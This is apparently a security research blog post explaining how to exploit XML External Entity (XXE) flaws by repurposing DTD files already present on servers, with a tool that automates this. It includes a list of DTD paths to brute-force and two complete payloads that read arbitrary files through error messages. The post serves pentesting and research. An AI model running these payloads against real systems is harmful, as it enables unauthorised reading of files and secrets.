XML External Entities (XXE) is a type of attack done against an application that parses XML input. It occurs when XML input containing a reference to an external entity (SYSTEM entity) is processed by a weakly configured XML parser. Over the years, researchers have found multiple ways to exfiltrate content using various XML payloads:
- Ex-filtration using out-of-bound Gopher or HTTP protocols (2013) by Timur Yunusov & Alexey Osipov.
- Variation of this out-of-bound technique with the FTP protocol by Ivan Novikov.
- Concatenating CDATA prefix using external DTD (2013) by Timothy D. Morgan.
- Error based file exfiltration combined with PHP encoding filter (2015) by Renaud Dubourguais.
- The same technique found effective on Java (2015) by Antti Rantasaari.
- Error based file exfiltration using local DTD (~2016-2018) by Arseniy Sharoglazov.
Building a list of DTD
The original research by Arseniy Sharoglazov already listed a few payload variations. It was more than enough to understand the patterns and build additional payloads. In our pentests, we have encountered at least two applications for which the known DTD files were not present on the vulnerable system.We could have created a crawler which browses the remote filesystem. This would be possible thanks to file enumeration when pointing a SYSTEM entity to a directory. However, we used a shortcut. We built a small list of DTD files present on common Linux distributions [1] [2] and tested to see if those files were presented by brute force. The initial DTD list was as follow:
./properties/schemas/j2ee/XMLSchema.dtd ./../properties/schemas/j2ee/XMLSchema.dtd ./../../properties/schemas/j2ee/XMLSchema.dtd /usr/share/java/jsp-api-2.2.jar!/javax/servlet/jsp/resources/jspxml.dtd /usr/share/java/jsp-api-2.3.jar!/javax/servlet/jsp/resources/jspxml.dtd /root/usr/share/doc/rh-python34-python-docutils-0.12/docs/ref/docutils.dtd /root/usr/share/doc/rh-python35-python-docutils-0.12/docs/ref/docutils.dtd /usr/share/doc/python2-docutils/docs/ref/docutils.dtd /usr/share/yelp/dtd/docbookx.dtd /usr/share/xml/fontconfig/fonts.dtd /usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd /usr/lib64/erlang/lib/docbuilder-0.9.8.11/dtd/application.dtd /usr/share/boostbook/dtd/1.1/boostbook.dtd /usr/share/boostbook/dtd/boostbook.dtd /usr/share/dblatex/schema/dblatex-config.dtd /usr/share/struts/struts-config_1_0.dtd /opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd
These DTDs were taken from a search on the Ubuntu and CentOS repositories, and Google searches. When we confirm the presence of a given file, we could download the DTD to build a valid payload.
Here is a demonstration of using pre-built DTD list:
Automation
When trying to confirm a Web vulnerability, one wants to avoid manual work. For this reason, we wanted to increase the DTD list and avoid the review process of DTD files. To increase the list, we need to sample various OSs to obtain DTD files that are installed commonly on servers. To avoid inspection of DTD files, we had to generate XXE payloads automatically.Obtaining as many DTDs as possible
First, we picked samples from a couple of Linux distributions to which we had access: Ubuntu, CentOS and Arch Linux. We realized DTD are not only in the official packages from the Linux distributions but also in the packages from different languages Ruby, Python, NPM, etc.Our second target was Docker containers used to host the following Java applications, Tomcat, Weblogic, JBoss, JDK only and few others. The container with only OpenJDK includes very few DTDs and none with a reusable entity. The Web container built-in files, however, includes a couples DTDs.
Entity Injection patterns
Now that we have a list of DTDs. We enumerate the entities that can be overridden. For each of those, we look at their usage and correlates the appropriate injection patterns. Here are two injection patterns:ELEMENT injection
fonts.dtd:
<!ENTITY % expr 'int|double|string|matrix|bool|charset|langset
|name|const
|or|and|eq|not_eq|less|less_eq|more|more_eq|contains|not_contains
|plus|minus|times|divide|not|if|floor|ceil|round|trunc'>
[...]
<!ELEMENT test (%expr;)*>
Associated XXE payload (The entity %expr is overridden):
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///FILE_TO_READ">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<message></message>
ATTLIST injection
mbeans-descriptors.dtd:
<!ENTITY % Boolean "(true|false|yes|no)"> [...] <!ATTLIST attribute is %Boolean; #IMPLIED> <!ATTLIST attribute readable %Boolean; #IMPLIED> <!ATTLIST attribute writeable %Boolean; #IMPLIED>Associated XXE payload (The entity %Boolean is overridden):
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/tomcat/lib/tomcat-coyote.jar!/org/apache/tomcat/util/modeler/mbeans-descriptors.dtd">
<!ENTITY % Boolean '(aa) #IMPLIED>
<!ENTITY % file SYSTEM "file:///FILE_TO_READ">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ATTLIST attxx aa "bb"'>
%local_dtd;
]>
<message></message>
As can be seen, different contexts mean different payloads needs to be used. Looking at our sample DTDs, we identified 5 different contexts. Those 5 patterns will be used to automate the construction of payloads for new DTD files. We test each pattern with an XML parser to validate that the entity is overridden successfully. These tests with an XML parser allows us to generate working payloads.Putting the pieces together
To summarize, here are the high-level steps taken by our tool, DTD finder.- Find DTD files or DTD files inside .jar or other zip files.
- Enumerate the entities declared.
- Test each of the entities with common injection patterns.
- Report the result summary to the console and the working payloads to a markdown file.
Conclusion
The use of a local DTD file to exploit XXEs will become a common practice for Web pentesters. Being efficient at finding common DTD files should make the task easier. Having generated payloads will also make the attack accessible to the testers with limited knowledge of XML.In order to reproduce the demonstration above, you can pick up the DTD Finder tool on GoSecure's GitHub. The tool can be used to generate a list for specific systems. You don't need to run the tool to obtain XXE payloads. We have already generated a list of valid XXE payloads with over 50 DTDs.
References
- DTD Finder, the tool presented in this article: https://github.com/GoSecure/dtd-finder
- [1] Search for debian package containing .dtd files https://packages.debian.org/search?searchon=contents&keywords=.dtd&mode=path&suite=stable&arch=any
- [2] Search for Ubuntu package containing .dtd files https://packages.ubuntu.com/search?suite=disco&arch=any&mode=filename&searchon=contents&keywords=.dtd
- How to find packages associate to a specific files. https://www.cyberciti.biz/faq/equivalent-of-rpm-qf-command/
This post was originally posted on GoSecure's blog
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